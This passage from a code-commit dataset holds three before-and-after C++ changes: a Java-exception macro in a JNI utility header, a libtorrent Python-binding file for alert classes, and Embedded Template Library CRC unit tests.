nativeData_id));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tif (ex_info)\n\t\t\t{\n\t\t\t\tst.reserve(st_len + ex_info->GetStackTrace().size());\n\t\t\t\tstd::copy(ex_info->GetStackTrace().begin(), ex_info->GetStackTrace().end(), std::back_inserter(st));\n\t\t\t}\n\t\t}\n\n\t\tst.reserve(st_len);\n\n\t\tfor (int i = 0; i < st_len; ++i)\n\t\t{\n\t\t\tauto ste = JObjLocalRef::StealLocal(env, env->GetObjectArrayElement(jst.Get(), i));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tauto class_name = JStringLocalRef::StealLocal(env, env->CallObjectMethod(ste.Get(), ste_getClassName_id));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tauto file_name = JStringLocalRef::StealLocal(env, env->CallObjectMethod(ste.Get(), ste_getFileName_id));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tjint line_num = env->CallIntMethod(ste.Get(), ste_getLineNumber_id);\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tauto method_name = JStringLocalRef::StealLocal(env, env->CallObjectMethod(ste.Get(), ste_getMethodName_id));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tst.emplace_back(\n\t\t\t\t\t\"\",\n\t\t\t\t\tStringDataHolder(file_name).GetData(),\n\t\t\t\t\tline_num,\n\t\t\t\t\t\"\",\n\t\t\t\t\tStringBuilder() % StringDataHolder(class_name).GetData() % \".\" % StringDataHolder(method_name).GetData()\n\t\t\t\t);\n\t\t}\n\n\t\treturn ExceptionInfo(StringDataHolder(jmsg).GetData(), st);\n\t}\n\n#undef DETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION\n\n\n\tvoid ThrowExceptionFromJava(JNIEnv* env, const char* location);\n\n\ttemplate < typename T_ >\n\tT_ JavaCallImpl(JNIEnv *env, T_ result, const char* location)\n\t{\n\t\tif (env->ExceptionCheck())\n\t\t\tThrowExceptionFromJava(env, location);\n\n\t\treturn result;\n\t}\n\n}}\n\n#endif\n<commit_msg>Added env->ExceptionDescribe() to DETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION macro<commit_after>#ifndef UTILS_UTILS_HPP\n#define UTILS_UTILS_HPP\n\n\n#include <joint\/devkit\/ExceptionInfo.hpp>\n#include <joint\/devkit\/JointException.hpp>\n#include <joint\/devkit\/ScopeExit.hpp>\n#include <joint\/devkit\/StringBuilder.hpp>\n\n#include <utils\/JPtr.hpp>\n\n\n#define JNI_WRAP_CPP_BEGIN \\\n\ttry {\n\n#define JNI_WRAP_CPP_END(OkRetVal_, FailRetVal_) \\\n\t\treturn (OkRetVal_); \\\n\t} catch (const std::exception& ex) { \\\n\t\tGetLogger().Error() << JOINT_SOURCE_LOCATION \": \" << ex; \\\n\t\t::joint::java::ThrowJavaException(env, ex.what()); \\\n\t\treturn (FailRetVal_); \\\n\t}\n\n#define JNI_WRAP_CPP_END_VOID() \\\n\t} catch (const std::exception& ex) { \\\n\t\tGetLogger().Error() << JOINT_SOURCE_LOCATION \": \" << ex; \\\n\t\t::joint::java::ThrowJavaException(env, ex.what()); \\\n\t}\n\n\n#define JAVA_CALL(...) JAVA_CALL_EX(env, __VA_ARGS__)\n#define JAVA_CALL_EX(Env_, ...) ::joint::java::JavaCallImpl(Env_, (__VA_ARGS__), JOINT_SOURCE_LOCATION)\n\n#define JAVA_CALL_VOID(...) JAVA_CALL_VOID_EX(env, __VA_ARGS__)\n#define JAVA_CALL_VOID_EX(Env_, ...) do { __VA_ARGS__; ::joint::java::JavaCallImpl(Env_, 0, JOINT_SOURCE_LOCATION); } while (false)\n\n\nnamespace joint {\nnamespace java\n{\n\n\tclass StringDataHolder\n\t{\n\tprivate:\n\t\tJNIEnv*            _env;\n\t\tjstring            _strObj;\n\t\tconst char*        _data;\n\n\tpublic:\n\t\tStringDataHolder(JStringWeakRef str)\n\t\t{ Init(str.GetEnv(), str.Get()); }\n\n\t\t~StringDataHolder()\n\t\t{ _env->ReleaseStringUTFChars(_strObj, _data); }\n\n\t\tconst char* GetData() const\n\t\t{ return _data; }\n\n\tprivate:\n\t\tvoid Init(JNIEnv* env, jstring str)\n\t\t{\n\t\t\t_env = JOINT_DEVKIT_REQUIRE_NOT_NULL(env);\n\t\t\t_strObj = JOINT_DEVKIT_REQUIRE_NOT_NULL(str);\n\t\t\tjboolean is_copy = false;\n\t\t\t_data = _env->GetStringUTFChars(_strObj, &is_copy);\n\t\t}\n\t};\n\n\n\tinline std::string ToStdString(JStringTempRef str)\n\t{ return StringDataHolder(str.Weak()).GetData(); }\n\n\n\tinline void ThrowJavaException(JNIEnv* env, const std::string& msg)\n\t{\n\t\tconst char* LoggerName = \"Joint.Java.Utils\";\n\n\t\tauto jmsg = JStringLocalRef::StealLocal(env, env->NewStringUTF(msg.c_str()));\n\t\tauto RuntimeException_cls = JClassLocalRef::StealLocal(env, env->FindClass(\"java\/lang\/RuntimeException\"));\n\t\tif (!RuntimeException_cls)\n\t\t\tJOINT_TERMINATE(\"Could not find class java.lang.RuntimeException\");\n\n\t\tjmethodID RuntimeException_ctor_id = env->GetMethodID(RuntimeException_cls.Get(), \"<init>\", \"(Ljava\/lang\/String;)V\");\n\t\tif (!RuntimeException_ctor_id)\n\t\t\tJOINT_TERMINATE(\"Could not find java.lang.RuntimeException(java.lang.String) constructor\");\n\n\t\tauto ex = JThrowableLocalRef::StealLocal(env, reinterpret_cast<jthrowable>(env->NewObject(RuntimeException_cls.Get(), RuntimeException_ctor_id, jmsg.Get())));\n\t\tif (!ex)\n\t\t\tJOINT_TERMINATE(\"Could not create java.lang.RuntimeException object\");\n\n\t\tenv->Throw(ex.Get());\n\t}\n\n\n#define DETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION \\\n\t\tdo { \\\n\t\t\tif (env->ExceptionCheck()) \\\n\t\t\t{ \\\n\t\t\t\tenv->ExceptionDescribe(); \\\n\t\t\t\tJOINT_TERMINATE_EX(\"Joint.Java.Utils\", \"Got an exception from java while processing another one\"); \\\n\t\t\t} \\\n\t\t} while (false)\n\n\tinline devkit::ExceptionInfo GetJavaExceptionInfo(JNIEnv *env)\n\t{\n\t\tusing namespace devkit;\n\n\t\tif (!env->ExceptionCheck())\n\t\t\tJOINT_TERMINATE_EX(\"Joint.Java.Utils\", \"GetJavaExceptionInfo failed: no active java exception\");\n\n\t\tjthrowable raw_throwable = env->ExceptionOccurred();\n\t\tenv->ExceptionClear();\n\t\tauto ex = JThrowableLocalRef::StealLocal(env, raw_throwable);\n\n\t\tauto throwable_class = JClassLocalRef::StealLocal(env, env->FindClass(\"java\/lang\/Throwable\"));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID toString_id = env->GetMethodID(throwable_class.Get(), \"toString\", \"()Ljava\/lang\/String;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID getStackTrace_id = env->GetMethodID(throwable_class.Get(), \"getStackTrace\", \"()[Ljava\/lang\/StackTraceElement;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tauto jmsg = JStringLocalRef::StealLocal(env, env->CallObjectMethod(ex.Get(), toString_id));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\n\t\tauto ste_class = JClassLocalRef::StealLocal(env, env->FindClass(\"java\/lang\/StackTraceElement\"));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID ste_getClassName_id = env->GetMethodID(ste_class.Get(), \"getClassName\", \"()Ljava\/lang\/String;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID ste_getFileName_id = env->GetMethodID(ste_class.Get(), \"getFileName\", \"()Ljava\/lang\/String;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID ste_getLineNumber_id = env->GetMethodID(ste_class.Get(), \"getLineNumber\", \"()I\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tjmethodID ste_getMethodName_id = env->GetMethodID(ste_class.Get(), \"getMethodName\", \"()Ljava\/lang\/String;\");\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tauto jst = JObjArrayLocalRef::StealLocal(env, env->CallObjectMethod(ex.Get(), getStackTrace_id));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\n\t\tauto st_len = env->GetArrayLength(jst.Get());\n\t\tExceptionInfo::StackTrace st;\n\n\t\tauto JointException_cls = JClassLocalRef::StealLocal(env, env->FindClass(\"org\/joint\/JointException\"));\n\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\tif (env->IsInstanceOf(ex.Get(), JointException_cls.Get()))\n\t\t{\n\t\t\tjfieldID nativeData_id = env->GetFieldID(JointException_cls.Get(), \"nativeData\", \"J\");\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tauto ex_info = reinterpret_cast<const ExceptionInfo*>(env->GetLongField(ex.Get(), nativeData_id));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tif (ex_info)\n\t\t\t{\n\t\t\t\tst.reserve(st_len + ex_info->GetStackTrace().size());\n\t\t\t\tstd::copy(ex_info->GetStackTrace().begin(), ex_info->GetStackTrace().end(), std::back_inserter(st));\n\t\t\t}\n\t\t}\n\n\t\tst.reserve(st_len);\n\n\t\tfor (int i = 0; i < st_len; ++i)\n\t\t{\n\t\t\tauto ste = JObjLocalRef::StealLocal(env, env->GetObjectArrayElement(jst.Get(), i));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tauto class_name = JStringLocalRef::StealLocal(env, env->CallObjectMethod(ste.Get(), ste_getClassName_id));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tauto file_name = JStringLocalRef::StealLocal(env, env->CallObjectMethod(ste.Get(), ste_getFileName_id));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tjint line_num = env->CallIntMethod(ste.Get(), ste_getLineNumber_id);\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tauto method_name = JStringLocalRef::StealLocal(env, env->CallObjectMethod(ste.Get(), ste_getMethodName_id));\n\t\t\tDETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION;\n\t\t\tst.emplace_back(\n\t\t\t\t\t\"\",\n\t\t\t\t\tStringDataHolder(file_name).GetData(),\n\t\t\t\t\tline_num,\n\t\t\t\t\t\"\",\n\t\t\t\t\tStringBuilder() % StringDataHolder(class_name).GetData() % \".\" % StringDataHolder(method_name).GetData()\n\t\t\t\t);\n\t\t}\n\n\t\treturn ExceptionInfo(StringDataHolder(jmsg).GetData(), st);\n\t}\n\n#undef DETAIL_JOINT_JAVA_TERMINATE_ON_EXCEPTION\n\n\n\tvoid ThrowExceptionFromJava(JNIEnv* env, const char* location);\n\n\ttemplate < typename T_ >\n\tT_ JavaCallImpl(JNIEnv *env, T_ result, const char* location)\n\t{\n\t\tif (env->ExceptionCheck())\n\t\t\tThrowExceptionFromJava(env, location);\n\n\t\treturn result;\n\t}\n\n}}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright Daniel Wallin 2006. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <libtorrent\/alert.hpp>\n#include <libtorrent\/alert_types.hpp>\n#include <boost\/python.hpp>\n\nusing namespace boost::python;\nusing namespace libtorrent;\n\nextern char const* alert_doc;\nextern char const* alert_msg_doc;\nextern char const* alert_severity_doc;\nextern char const* listen_failed_alert_doc;\nextern char const* file_error_alert_doc;\nextern char const* tracker_announce_alert_doc;\nextern char const* tracker_alert_doc;\nextern char const* tracker_reply_alert_doc;\nextern char const* tracker_warning_alert_doc;\nextern char const* url_seed_alert_doc;\nextern char const* hash_failed_alert_doc;\nextern char const* peer_ban_alert_doc;\nextern char const* peer_error_alert_doc;\nextern char const* invalid_request_alert_doc;\nextern char const* peer_request_doc;\nextern char const* torrent_finished_alert_doc;\nextern char const* metadata_failed_alert_doc;\nextern char const* metadata_received_alert_doc;\nextern char const* fastresume_rejected_alert_doc;\n\nvoid bind_alert()\n{\n    using boost::noncopyable;\n\n    {\n        scope alert_scope = class_<alert, noncopyable>(\"alert\", alert_doc, no_init)\n            .def(\n                \"msg\", &alert::msg, return_value_policy<copy_const_reference>()\n              , alert_msg_doc\n            )\n            .def(\"severity\", &alert::severity, alert_severity_doc)\n            .def(\n                \"__str__\", &alert::msg, return_value_policy<copy_const_reference>()\n              , alert_msg_doc\n            )\n            ;\n\n        enum_<alert::severity_t>(\"severity_levels\")\n            .value(\"debug\", alert::severity_t::debug)\n            .value(\"info\", alert::severity_t::info)\n            .value(\"warning\", alert::severity_t::warning)\n            .value(\"critical\", alert::severity_t::critical)\n            .value(\"fatal\", alert::severity_t::fatal)\n            .value(\"none\", alert::severity_t::none)\n            ; \n    }\n\n    class_<listen_failed_alert, bases<alert>, noncopyable>(\n        \"listen_failed_alert\", listen_failed_alert_doc, no_init\n    );\n\n    class_<file_error_alert, bases<alert>, noncopyable>(\n        \"file_error_alert\", file_error_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &file_error_alert::handle)\n        ;\n\n    class_<tracker_announce_alert, bases<alert>, noncopyable>(\n        \"tracker_announce_alert\", tracker_announce_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &tracker_announce_alert::handle)\n        ;\n\n    class_<tracker_alert, bases<alert>, noncopyable>(\n        \"tracker_alert\", tracker_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &tracker_alert::handle)\n        .def_readonly(\"times_in_row\", &tracker_alert::times_in_row)\n        .def_readonly(\"status_code\", &tracker_alert::status_code)\n        ;\n\n    class_<tracker_reply_alert, bases<alert>, noncopyable>(\n        \"tracker_reply_alert\", tracker_reply_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &tracker_reply_alert::handle)\n        ;\n\n    class_<tracker_warning_alert, bases<alert>, noncopyable>(\n        \"tracker_warning_alert\", tracker_warning_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &tracker_warning_alert::handle)\n        ;\n\n    class_<url_seed_alert, bases<alert>, noncopyable>(\n        \"url_seed_alert\", url_seed_alert_doc, no_init\n    )\n        .def_readonly(\"url\", &url_seed_alert::url)\n        ;\n\n    class_<hash_failed_alert, bases<alert>, noncopyable>(\n        \"hash_failed_alert\", hash_failed_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &hash_failed_alert::handle)\n        .def_readonly(\"piece_index\", &hash_failed_alert::piece_index)\n        ;\n\n    class_<peer_ban_alert, bases<alert>, noncopyable>(\n        \"peer_ban_alert\", peer_ban_alert_doc, no_init\n    )\n        .def_readonly(\"ip\", &peer_ban_alert::ip)\n        .def_readonly(\"handle\", &peer_ban_alert::handle)\n        ;\n\n    class_<peer_error_alert, bases<alert>, noncopyable>(\n        \"peer_error_alert\", peer_error_alert_doc, no_init\n    )\n        .def_readonly(\"ip\", &peer_error_alert::ip)\n        .def_readonly(\"pid\", &peer_error_alert::pid)\n        ;\n\n    class_<invalid_request_alert, bases<alert>, noncopyable>(\n        \"invalid_request_alert\", invalid_request_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &invalid_request_alert::handle)\n        .def_readonly(\"ip\", &invalid_request_alert::ip)\n        .def_readonly(\"request\", &invalid_request_alert::request)\n        .def_readonly(\"pid\", &invalid_request_alert::pid)\n        ;\n\n    class_<peer_request>(\"peer_request\", peer_request_doc)\n        .def_readonly(\"piece\", &peer_request::piece)\n        .def_readonly(\"start\", &peer_request::start)\n        .def_readonly(\"length\", &peer_request::length)\n        .def(self == self)\n        ;\n\n    class_<torrent_finished_alert, bases<alert>, noncopyable>(\n        \"torrent_finished_alert\", torrent_finished_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &torrent_finished_alert::handle)\n        ;\n\n    class_<metadata_failed_alert, bases<alert>, noncopyable>(\n        \"metadata_failed_alert\", metadata_failed_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &metadata_failed_alert::handle)\n        ;\n\n    class_<metadata_received_alert, bases<alert>, noncopyable>(\n        \"metadata_received_alert\", metadata_received_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &metadata_received_alert::handle)\n        ;\n\n    class_<fastresume_rejected_alert, bases<alert>, noncopyable>(\n        \"fastresume_rejected_alert\", fastresume_rejected_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &fastresume_rejected_alert::handle)\n        ;\n}\n\n<commit_msg>fixed typo<commit_after>\/\/ Copyright Daniel Wallin 2006. Use, modification and distribution is\n\/\/ subject to the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n#include <libtorrent\/alert.hpp>\n#include <libtorrent\/alert_types.hpp>\n#include <boost\/python.hpp>\n\nusing namespace boost::python;\nusing namespace libtorrent;\n\nextern char const* alert_doc;\nextern char const* alert_msg_doc;\nextern char const* alert_severity_doc;\nextern char const* listen_failed_alert_doc;\nextern char const* file_error_alert_doc;\nextern char const* tracker_announce_alert_doc;\nextern char const* tracker_alert_doc;\nextern char const* tracker_reply_alert_doc;\nextern char const* tracker_warning_alert_doc;\nextern char const* url_seed_alert_doc;\nextern char const* hash_failed_alert_doc;\nextern char const* peer_ban_alert_doc;\nextern char const* peer_error_alert_doc;\nextern char const* invalid_request_alert_doc;\nextern char const* peer_request_doc;\nextern char const* torrent_finished_alert_doc;\nextern char const* metadata_failed_alert_doc;\nextern char const* metadata_received_alert_doc;\nextern char const* fastresume_rejected_alert_doc;\n\nvoid bind_alert()\n{\n    using boost::noncopyable;\n\n    {\n        scope alert_scope = class_<alert, noncopyable>(\"alert\", alert_doc, no_init)\n            .def(\n                \"msg\", &alert::msg, return_value_policy<copy_const_reference>()\n              , alert_msg_doc\n            )\n            .def(\"severity\", &alert::severity, alert_severity_doc)\n            .def(\n                \"__str__\", &alert::msg, return_value_policy<copy_const_reference>()\n              , alert_msg_doc\n            )\n            ;\n\n        enum_<alert::severity_t>(\"severity_levels\")\n            .value(\"debug\", alert::debug)\n            .value(\"info\", alert::info)\n            .value(\"warning\", alert::warning)\n            .value(\"critical\", alert::critical)\n            .value(\"fatal\", alert::fatal)\n            .value(\"none\", alert::none)\n            ; \n    }\n\n    class_<listen_failed_alert, bases<alert>, noncopyable>(\n        \"listen_failed_alert\", listen_failed_alert_doc, no_init\n    );\n\n    class_<file_error_alert, bases<alert>, noncopyable>(\n        \"file_error_alert\", file_error_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &file_error_alert::handle)\n        ;\n\n    class_<tracker_announce_alert, bases<alert>, noncopyable>(\n        \"tracker_announce_alert\", tracker_announce_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &tracker_announce_alert::handle)\n        ;\n\n    class_<tracker_alert, bases<alert>, noncopyable>(\n        \"tracker_alert\", tracker_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &tracker_alert::handle)\n        .def_readonly(\"times_in_row\", &tracker_alert::times_in_row)\n        .def_readonly(\"status_code\", &tracker_alert::status_code)\n        ;\n\n    class_<tracker_reply_alert, bases<alert>, noncopyable>(\n        \"tracker_reply_alert\", tracker_reply_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &tracker_reply_alert::handle)\n        ;\n\n    class_<tracker_warning_alert, bases<alert>, noncopyable>(\n        \"tracker_warning_alert\", tracker_warning_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &tracker_warning_alert::handle)\n        ;\n\n    class_<url_seed_alert, bases<alert>, noncopyable>(\n        \"url_seed_alert\", url_seed_alert_doc, no_init\n    )\n        .def_readonly(\"url\", &url_seed_alert::url)\n        ;\n\n    class_<hash_failed_alert, bases<alert>, noncopyable>(\n        \"hash_failed_alert\", hash_failed_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &hash_failed_alert::handle)\n        .def_readonly(\"piece_index\", &hash_failed_alert::piece_index)\n        ;\n\n    class_<peer_ban_alert, bases<alert>, noncopyable>(\n        \"peer_ban_alert\", peer_ban_alert_doc, no_init\n    )\n        .def_readonly(\"ip\", &peer_ban_alert::ip)\n        .def_readonly(\"handle\", &peer_ban_alert::handle)\n        ;\n\n    class_<peer_error_alert, bases<alert>, noncopyable>(\n        \"peer_error_alert\", peer_error_alert_doc, no_init\n    )\n        .def_readonly(\"ip\", &peer_error_alert::ip)\n        .def_readonly(\"pid\", &peer_error_alert::pid)\n        ;\n\n    class_<invalid_request_alert, bases<alert>, noncopyable>(\n        \"invalid_request_alert\", invalid_request_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &invalid_request_alert::handle)\n        .def_readonly(\"ip\", &invalid_request_alert::ip)\n        .def_readonly(\"request\", &invalid_request_alert::request)\n        .def_readonly(\"pid\", &invalid_request_alert::pid)\n        ;\n\n    class_<peer_request>(\"peer_request\", peer_request_doc)\n        .def_readonly(\"piece\", &peer_request::piece)\n        .def_readonly(\"start\", &peer_request::start)\n        .def_readonly(\"length\", &peer_request::length)\n        .def(self == self)\n        ;\n\n    class_<torrent_finished_alert, bases<alert>, noncopyable>(\n        \"torrent_finished_alert\", torrent_finished_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &torrent_finished_alert::handle)\n        ;\n\n    class_<metadata_failed_alert, bases<alert>, noncopyable>(\n        \"metadata_failed_alert\", metadata_failed_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &metadata_failed_alert::handle)\n        ;\n\n    class_<metadata_received_alert, bases<alert>, noncopyable>(\n        \"metadata_received_alert\", metadata_received_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &metadata_received_alert::handle)\n        ;\n\n    class_<fastresume_rejected_alert, bases<alert>, noncopyable>(\n        \"fastresume_rejected_alert\", fastresume_rejected_alert_doc, no_init\n    )\n        .def_readonly(\"handle\", &fastresume_rejected_alert::handle)\n        ;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\nThe MIT License(MIT)\n\nEmbedded Template Library.\n\nCopyright(c) 2014 jwellbelove\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files(the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions :\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n******************************************************************************\/\n\n#include <UnitTest++\/UnitTest++.h>\n\n#include <iterator>\n#include <cstdint>\n#include \"..\/crc8.h\"\n#include \"..\/crc16.h\"\n#include \"..\/crc16_ccitt.h\"\n#include \"..\/crc16_kermit.h\"\n#include \"..\/crc32.h\"\n#include \"..\/crc64_ecma.h\"\n\nnamespace\n{\t\t\n  SUITE(TestCRC)\n  {\n    \/\/*************************************************************************\n    TEST(TestCRC8)\n    {\n      unsigned char data[] = { '1', '2', '3', '4', '5', '6', '7', '8', '9' };\n\n      uint8_t crc = etl::crc8(std::begin(data), std::end(data));\n\n      CHECK_EQUAL(0xF4, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC16)\n    {\n      unsigned char data[] = { '1', '2', '3', '4', '5', '6', '7', '8', '9' };\n\n      uint16_t crc = etl::crc16(std::begin(data), std::end(data));\n\n      CHECK_EQUAL(0xBB3D, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC16CCITT)\n    {\n      unsigned char data[] = { '1', '2', '3', '4', '5', '6', '7', '8', '9' };\n\n      uint16_t crc = etl::crc16_ccitt(std::begin(data), std::end(data));\n\n      CHECK_EQUAL(0x29B1, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC16Kermit)\n    {\n      unsigned char data[] = { '1', '2', '3', '4', '5', '6', '7', '8', '9' };\n\n      uint16_t crc = etl::crc16_kermit(std::begin(data), std::end(data));\n\n      CHECK_EQUAL(0x2189, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC32)\n    {\n      unsigned char data[] = { '1', '2', '3', '4', '5', '6', '7', '8', '9' };\n\n      uint32_t crc = etl::crc32(std::begin(data), std::end(data));\n\n      CHECK_EQUAL(0xCBF43926, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC64ECMA)\n    {\n      unsigned char data[] = { '1', '2', '3', '4', '5', '6', '7', '8', '9' };\n\n      uint64_t crc = etl::crc64_ecma(std::begin(data), std::end(data));\n\n      CHECK_EQUAL(0x6C40DF5F0B497347, crc);\n    }\n  };\n}\n\n<commit_msg>CRC unit tests<commit_after>\/******************************************************************************\nThe MIT License(MIT)\n\nEmbedded Template Library.\n\nCopyright(c) 2014 jwellbelove\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files(the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions :\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n******************************************************************************\/\n\n#include <UnitTest++\/UnitTest++.h>\n\n#include <iterator>\n#include <string>\n#include <cstdint>\n#include \"..\/crc8_ccitt.h\"\n#include \"..\/crc16.h\"\n#include \"..\/crc16_ccitt.h\"\n#include \"..\/crc16_kermit.h\"\n#include \"..\/crc32.h\"\n#include \"..\/crc64_ecma.h\"\n\nnamespace\n{\t\t\n  SUITE(TestCRC)\n  {\n    \/\/*************************************************************************\n    TEST(TestCRC8)\n    {\n      std::string data(\"123456789\");\n\n      uint8_t crc = etl::crc8_ccitt(data.begin(), data.end());\n\n      CHECK_EQUAL(0xF4, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC16)\n    {\n      std::string data(\"123456789\");\n\n      uint16_t crc = etl::crc16(data.begin(), data.end());\n\n      CHECK_EQUAL(0xBB3D, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC16CCITT)\n    {\n      std::string data(\"123456789\");\n\n      uint16_t crc = etl::crc16_ccitt(data.begin(), data.end());\n\n      CHECK_EQUAL(0x29B1, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC16Kermit)\n    {\n      std::string data(\"123456789\");\n\n      uint16_t crc = etl::crc16_kermit(data.begin(), data.end());\n\n      CHECK_EQUAL(0x2189, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC32)\n    {\n      std::string data(\"123456789\");\n\n      uint32_t crc = etl::crc32(data.begin(), data.end());\n\n      CHECK_EQUAL(0xCBF43926, crc);\n    }\n\n    \/\/*************************************************************************\n    TEST(TestCRC64ECMA)\n    {\n      std::string data(\"123456789\");\n\n      uint64_t crc = etl::crc64_ecma(data.begin(), data.end());\n\n      CHECK_EQUAL(0x6C40DF5F0B497347, crc);\n    }\n  };\n}\n\n<|endoftext|>"}
